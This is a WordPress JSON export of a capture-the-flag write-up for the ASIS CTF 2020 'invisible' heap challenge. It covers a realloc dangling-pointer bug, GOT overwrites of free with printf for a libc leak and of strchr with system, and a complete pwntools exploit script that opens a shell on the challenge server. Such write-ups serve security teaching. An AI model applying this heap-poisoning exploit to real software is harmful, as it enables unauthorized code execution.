{"id":746,"date":"2020-07-06T04:53:03","date_gmt":"2020-07-05T19:53:03","guid":{"rendered":"http:\/\/ipwn.kr\/?p=746"},"modified":"2020-07-07T20:28:14","modified_gmt":"2020-07-07T11:28:14","slug":"asis-ctf-2020-invisible","status":"publish","type":"post","link":"http:\/\/ipwn.kr\/index.php\/2020\/07\/06\/asis-ctf-2020-invisible\/","title":{"rendered":"[ASIS CTF 2020] invisible"},"content":{"rendered":"<h1>invisible<\/h1>\n<hr>\n<p>Actually I didn&#8217;t participation this CTF. I just solved this challenge for fun. XD<br \/>\nI think this challenge is hard to solve by the writer&#8217;s intended solution, so I solved this challenge by unintended solution.<\/p>\n<h2>Mitigation<\/h2>\n<hr>\n<ul>\n<li><span style=\"color:orange\">Relro  : Partial RELRO<\/span><\/li>\n<li><span style=\"color:green\">Stack   : Canary found<\/span><\/li>\n<li><span style=\"color:green\">NX  : NX enable<\/span><\/li>\n<li><span style=\"color:red\">PIE   : No PIE (0x400000)<\/span><\/li>\n<\/ul>\n<h2>Analyzing<\/h2>\n<hr>\n<pre><code class=\"language-C \">void edit(void)\n{\n  unsigned __int16 v0; \/\/ [rsp+Ch] [rbp-4h]\n  unsigned __int16 v1; \/\/ [rsp+Eh] [rbp-2h]\n\n  v0 = readint(\"index: \");\n  if ( v0 &lt;= 1u &amp;&amp; ptr[v0] &amp;&amp; (v1 = readint(\"size: \"), v1 &lt;= 0x78u) &amp;&amp; realloc(ptr[v0], v1) )\n  {\n    *(ptr[v0] + readline(\"data: \", ptr[v0], v1 - 1)) = 0;\n    puts(\"[+] edit: done\");\n  }\n  else\n  {\n    puts(\"[-] edit: error\");\n  }\n}\n<\/code><\/pre>\n<p>The edit function will call the <code>realloc<\/code> function, so we can <code>free<\/code> the chunk and leave <code>dangling pointer<\/code> in <code>ptr<\/code> by calling <code>realloc(heap_ptr, 0)<\/code>.<br \/>\nIn addition, we can corrupt the freed chunk by calling <code>realloc(dangling_ptr, origin_size)<\/code>.<\/p>\n<h3>Libc leak<\/h3>\n<pre><code class=\"language-python \">new(0, 0x58, 'ipwn')\nedit(0, 0x00, 'ipwn') #0x60: freed_chunk\nedit(0, 0x58, p64(0x601ffa)) #0x60: freed_chunk -&gt; 0x601ffa\nnew(1, 0x58, 'ipwn') #0x60: 0x601ffa\nedit(1, 0x78, 'ipwn') #0x60: 0x601ffa\ndelete(1) #0x80: freed_chunk; 0x60: 0x601ffa\nnew(1, 0x58, '\\x00'*14 + p64(e.plt['printf'])[:6]) # free =&gt; printf\ndelete(0) #printf(freed_chunk)\nnew(0, 0x48, '%11<span class=\"katex math inline\">p') #cause fsb.\ndelete(0) #printf(\"%11<\/span>p\")\nlibc_base = int(p.recvuntil('[')[:-1], 16) - libc.sym['__libc_start_main'] - 240\nlog.success('[LIBC] 0x%x'%libc_base)\ndelete(1) #clean ptr\n<\/code><\/pre>\n<p>This script will overwrite <code>free_got<\/code> to <code>printf_plt<\/code>. (You can understand the reason that why the <code>free_got<\/code> overwritten to <code>printf_plt<\/code> by looking at the comment. If you want to know detail, then you need to debugging yourself.)<br \/>\nTherefore, if we call the <code>free<\/code> function through <code>free_plt<\/code>, actually this action is calling the <code>printf_plt<\/code>. So we can trigger <code>format string bug<\/code> and <code>libc leak<\/code>.<\/p>\n<h3>Exploit<\/h3>\n<p>After that, we can exploit this challenge reliably by overwriting <code>strchr_got<\/code> to <code>system<\/code>. Even it is very easy. Just repeat the script when we did <code>libc leak<\/code>.<\/p>\n<pre><code class=\"language-python \">new(0, 0x38, 'ipwn') #0x40: \nedit(0, 0x00, 'ipwn') #0x40: freed_chunk\nedit(0, 0x38, p64(0x602012)) #0x40: freed_chunk -&gt; 0x602012\nnew(1, 0x38, 'ipwn') #0x40: 0x602012\nedit(1, 0x68, 'ipwn') #0x40: 0x602012\ndelete(1) #0x70: freed_chunk; 0x40: 0x602012\nnew(1, 0x38, '\/bin\/sh;' + '\\x00'*6 + p64(libc_base + libc.sym['system']))\n#strchr =&gt; system =&gt; strchr(0x602012) =&gt; system(\"\/bin\/sh\")\n<\/code><\/pre>\n<p>This script will overwrite <code>strchr_got<\/code> to <code>system<\/code>.<br \/>\nJust like before, you can understand it by looking at the comment. (For your information, <code>0x40<\/code> data pieces that were left when <code>printf_plt<\/code> was written on <code>free_got<\/code> are used as sizes to allocate heap.)<\/p>\n<pre><code class=\"language-python \">from pwn import *\nimport sys\n\nis_local = len(sys.argv) &lt; 2\n\ne = ELF('.\/chall')\nif is_local:\n    p = process(e.path)\n    libc = e.libc\nelse :\n    p = remote('69.172.229.147', 9003)\n    libc = ELF('.\/libc-2.23.so')\n\nsla = p.sendlineafter\nsa = p.sendafter\ngol = lambda x:sla(': ', str(x))\ngo = lambda x:sa(': ', str(x))\n\ndef new(idx, size, data) :\n    sla('&gt; ', '1')\n    gol(idx)\n    gol(size)\n    go(data)\n\ndef edit(idx, size, data):\n    sla('&gt; ', '2')\n    gol(idx)\n    gol(size)\n    if(size &gt; 1):\n        go(data)\n\ndef delete(idx):\n    sla('&gt; ', '3')\n    gol(idx)\n\ndef main():    \n    new(0, 0x58, 'ipwn')\n    edit(0, 0x00, 'ipwn')\n    edit(0, 0x58, p64(0x601ffa)) #0x60: freed_chunk -&gt; 0x601ffa\n    new(1, 0x58, 'ipwn') #0x60: 0x601ffa\n    edit(1, 0x78, 'ipwn') #0x60: 0x601ffa\n    delete(1) #0x80: freed_chunk; 0x60: 0x601ffa\n    new(1, 0x58, '\\x00'*14 + p64(e.plt['printf'])[:6]) # free =&gt; printf\n    delete(0) #printf(freed_chunk)\n    new(0, 0x48, '%11<span class=\"katex math inline\">p')\n    delete(0) #printf(\"%11<\/span>p\")\n    libc_base = int(p.recvuntil('[')[:-1], 16) - libc.sym['__libc_start_main'] - 240\n    log.success('[LIBC] 0x%x'%libc_base)\n    delete(1) #clean ptr\n\n    #stage 2\n    new(0, 0x38, 'ipwn') #0x40: \n    edit(0, 0x00, 'ipwn') #0x40: freed_chunk\n    edit(0, 0x38, p64(0x602012)) #0x40: freed_chunk -&gt; 0x602012\n    new(1, 0x38, 'ipwn') #0x40: 0x602012\n    delete(1) #0x40: 0x602012\n    new(1, 0x38, '\/bin\/sh;' + '\\x00'*6 + p64(libc_base + libc.sym['system']))\n    #strchr =&gt; system =&gt; strchr(0x602012) =&gt; system(\"\/bin\/sh\") \n    p.interactive()\n\nif __name__ == '__main__':\n    main()\n<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>invisible Actually I didn&#8217;t participation this CTF. I just solved this challenge for fun. XD I think this challenge is hard to solve by the writer&#8217;s intended solution, so I solved this challenge by unintended solution. Mitigation Relro : Partial RELRO Stack : Canary found NX : NX enable PIE : No PIE (0x400000) Analyzing&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6,11],"tags":[],"class_list":["post-746","post","type-post","status-publish","format-standard","hentry","category-http-ipwn-kr-blog-pwnable","category-writep-up"],"_links":{"self":[{"href":"http:\/\/ipwn.kr\/index.php\/wp-json\/wp\/v2\/posts\/746"}],"collection":[{"href":"http:\/\/ipwn.kr\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/ipwn.kr\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/ipwn.kr\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/ipwn.kr\/index.php\/wp-json\/wp\/v2\/comments?post=746"}],"version-history":[{"count":16,"href":"http:\/\/ipwn.kr\/index.php\/wp-json\/wp\/v2\/posts\/746\/revisions"}],"predecessor-version":[{"id":764,"href":"http:\/\/ipwn.kr\/index.php\/wp-json\/wp\/v2\/posts\/746\/revisions\/764"}],"wp:attachment":[{"href":"http:\/\/ipwn.kr\/index.php\/wp-json\/wp\/v2\/media?parent=746"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/ipwn.kr\/index.php\/wp-json\/wp\/v2\/categories?post=746"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/ipwn.kr\/index.php\/wp-json\/wp\/v2\/tags?post=746"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}